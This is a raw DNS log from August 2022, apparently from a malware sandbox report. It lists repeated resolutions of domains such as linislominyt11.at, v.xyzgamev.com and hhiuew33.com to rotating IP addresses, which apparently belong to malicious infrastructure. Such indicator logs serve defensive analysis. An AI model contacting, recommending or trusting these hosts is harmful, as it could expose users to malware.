Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:44.985269070 CEST	8.8.8.8	192.168.2.4	0x24f5	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:46.240791082 CEST	8.8.8.8	192.168.2.4	0xfe22	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:46.731060982 CEST	8.8.8.8	192.168.2.4	0xa8a9	No error (0)	i.xyzgamei.com		172.67.137.109	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:46.731060982 CEST	8.8.8.8	192.168.2.4	0xa8a9	No error (0)	i.xyzgamei.com		104.21.86.228	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:47.375775099 CEST	8.8.8.8	192.168.2.4	0x9159	No error (0)	b.game2723.com		188.114.96.3	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:47.375775099 CEST	8.8.8.8	192.168.2.4	0x9159	No error (0)	b.game2723.com		188.114.97.3	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.185059071 CEST	8.8.8.8	192.168.2.4	0xc995	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:48.871269941 CEST	8.8.8.8	192.168.2.4	0x9767	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.040925026 CEST	8.8.8.8	192.168.2.4	0x5bd7	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:50.819145918 CEST	8.8.8.8	192.168.2.4	0x59ee	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:51.576298952 CEST	8.8.8.8	192.168.2.4	0x7c17	No error (0)	amrhomedecor.com		206.221.182.74	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:52.064301968 CEST	8.8.8.8	192.168.2.4	0x31b	No error (0)	www.amrhomedecor.com	amrhomedecor.com		CNAME (Canonical name)	IN (0x0001)
Aug 31, 2022 14:28:52.064301968 CEST	8.8.8.8	192.168.2.4	0x31b	No error (0)	amrhomedecor.com		206.221.182.74	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:53.224595070 CEST	8.8.8.8	192.168.2.4	0xe563	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:54.946470976 CEST	8.8.8.8	192.168.2.4	0xa9e5	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:56.667330980 CEST	8.8.8.8	192.168.2.4	0xfb17	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:57.215168953 CEST	8.8.8.8	192.168.2.4	0xf5f4	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:57.215168953 CEST	8.8.8.8	192.168.2.4	0xf5f4	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:58.091074944 CEST	8.8.8.8	192.168.2.4	0xd0a3	No error (0)	trustnero.com		104.21.1.91	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:58.091074944 CEST	8.8.8.8	192.168.2.4	0xd0a3	No error (0)	trustnero.com		172.67.128.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:58.763814926 CEST	8.8.8.8	192.168.2.4	0xf7e3	No error (0)	fakermet.com		172.67.202.54	A (IP address)	IN (0x0001)
Aug 31, 2022 14:28:58.763814926 CEST	8.8.8.8	192.168.2.4	0xf7e3	No error (0)	fakermet.com		104.21.14.22	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:01.902940035 CEST	8.8.8.8	192.168.2.4	0xb627	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:01.902940035 CEST	8.8.8.8	192.168.2.4	0xb627	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:02.441920042 CEST	8.8.8.8	192.168.2.4	0x915c	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:02.929290056 CEST	8.8.8.8	192.168.2.4	0xf675	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:02.929290056 CEST	8.8.8.8	192.168.2.4	0xf675	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:03.236690998 CEST	8.8.8.8	192.168.2.4	0x4314	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:03.236690998 CEST	8.8.8.8	192.168.2.4	0x4314	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:04.231579065 CEST	8.8.8.8	192.168.2.4	0x5017	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:04.231579065 CEST	8.8.8.8	192.168.2.4	0x5017	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:04.433671951 CEST	8.8.8.8	192.168.2.4	0xfddf	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:04.433671951 CEST	8.8.8.8	192.168.2.4	0xfddf	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:05.560308933 CEST	8.8.8.8	192.168.2.4	0x20bb	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:05.575172901 CEST	8.8.8.8	192.168.2.4	0x67f	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:05.575172901 CEST	8.8.8.8	192.168.2.4	0x67f	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:06.061856985 CEST	8.8.8.8	192.168.2.4	0xba9	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:06.061856985 CEST	8.8.8.8	192.168.2.4	0xba9	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:06.230983973 CEST	8.8.8.8	192.168.2.4	0xea1a	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:06.230983973 CEST	8.8.8.8	192.168.2.4	0xea1a	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.087841988 CEST	8.8.8.8	192.168.2.4	0x1f4	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.087841988 CEST	8.8.8.8	192.168.2.4	0x1f4	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.283108950 CEST	8.8.8.8	192.168.2.4	0x1243	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.283108950 CEST	8.8.8.8	192.168.2.4	0x1243	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.538299084 CEST	8.8.8.8	192.168.2.4	0x32fa	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.538299084 CEST	8.8.8.8	192.168.2.4	0x32fa	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.742980003 CEST	8.8.8.8	192.168.2.4	0x42fa	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.742980003 CEST	8.8.8.8	192.168.2.4	0x42fa	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.927989006 CEST	8.8.8.8	192.168.2.4	0x21ad	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:07.927989006 CEST	8.8.8.8	192.168.2.4	0x21ad	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.038336039 CEST	8.8.8.8	192.168.2.4	0xf264	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.284554958 CEST	8.8.8.8	192.168.2.4	0x95e8	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.365431070 CEST	8.8.8.8	192.168.2.4	0x1d26	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.365431070 CEST	8.8.8.8	192.168.2.4	0x1d26	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.604933023 CEST	8.8.8.8	192.168.2.4	0x2940	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.604933023 CEST	8.8.8.8	192.168.2.4	0x2940	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.886739969 CEST	8.8.8.8	192.168.2.4	0x96e9	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:08.886739969 CEST	8.8.8.8	192.168.2.4	0x96e9	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.392581940 CEST	8.8.8.8	192.168.2.4	0xfe8a	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.392581940 CEST	8.8.8.8	192.168.2.4	0xfe8a	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.698492050 CEST	8.8.8.8	192.168.2.4	0xaa14	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:09.698492050 CEST	8.8.8.8	192.168.2.4	0xaa14	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.156394958 CEST	8.8.8.8	192.168.2.4	0xf409	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.182820082 CEST	8.8.8.8	192.168.2.4	0x7ae8	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.182820082 CEST	8.8.8.8	192.168.2.4	0x7ae8	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.470326900 CEST	8.8.8.8	192.168.2.4	0x2b52	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.470326900 CEST	8.8.8.8	192.168.2.4	0x2b52	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.771466017 CEST	8.8.8.8	192.168.2.4	0x281b	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:10.771466017 CEST	8.8.8.8	192.168.2.4	0x281b	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:12.603334904 CEST	8.8.8.8	192.168.2.4	0x761d	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:12.603334904 CEST	8.8.8.8	192.168.2.4	0x761d	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:12.889710903 CEST	8.8.8.8	192.168.2.4	0x3797	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:12.889710903 CEST	8.8.8.8	192.168.2.4	0x3797	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.131509066 CEST	8.8.8.8	192.168.2.4	0x7b90	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.131509066 CEST	8.8.8.8	192.168.2.4	0x7b90	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.426997900 CEST	8.8.8.8	192.168.2.4	0x5226	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.426997900 CEST	8.8.8.8	192.168.2.4	0x5226	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.679395914 CEST	8.8.8.8	192.168.2.4	0xe633	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:13.679395914 CEST	8.8.8.8	192.168.2.4	0xe633	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:15.789838076 CEST	8.8.8.8	192.168.2.4	0x55b6	No error (0)	www.hhiuew33.com		45.136.151.102	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:15.989272118 CEST	8.8.8.8	192.168.2.4	0xab9b	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:15.989272118 CEST	8.8.8.8	192.168.2.4	0xab9b	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.177762032 CEST	8.8.8.8	192.168.2.4	0x39ce	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.177762032 CEST	8.8.8.8	192.168.2.4	0x39ce	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.658802032 CEST	8.8.8.8	192.168.2.4	0x45e4	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.658802032 CEST	8.8.8.8	192.168.2.4	0x45e4	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.907586098 CEST	8.8.8.8	192.168.2.4	0xe917	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.985316992 CEST	8.8.8.8	192.168.2.4	0xea43	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:16.985316992 CEST	8.8.8.8	192.168.2.4	0xea43	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.254342079 CEST	8.8.8.8	192.168.2.4	0xa5d5	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.254342079 CEST	8.8.8.8	192.168.2.4	0xa5d5	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.864150047 CEST	8.8.8.8	192.168.2.4	0xbab5	No error (0)	v.xyzgamev.com		104.21.40.196	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.864150047 CEST	8.8.8.8	192.168.2.4	0xbab5	No error (0)	v.xyzgamev.com		172.67.188.70	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		186.182.55.44	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		190.167.100.154	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		187.190.48.135	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		31.166.129.162	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		210.92.250.133	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		190.140.74.43	A (IP address)	IN (0x0001)
Aug 31, 2022 14:29:17.903111935 CEST	8.8.8.8	192.168.2.4	0xd455	No error (0)	linislominyt11.at		58.235.189.192	A (IP address)	IN (0x0001)
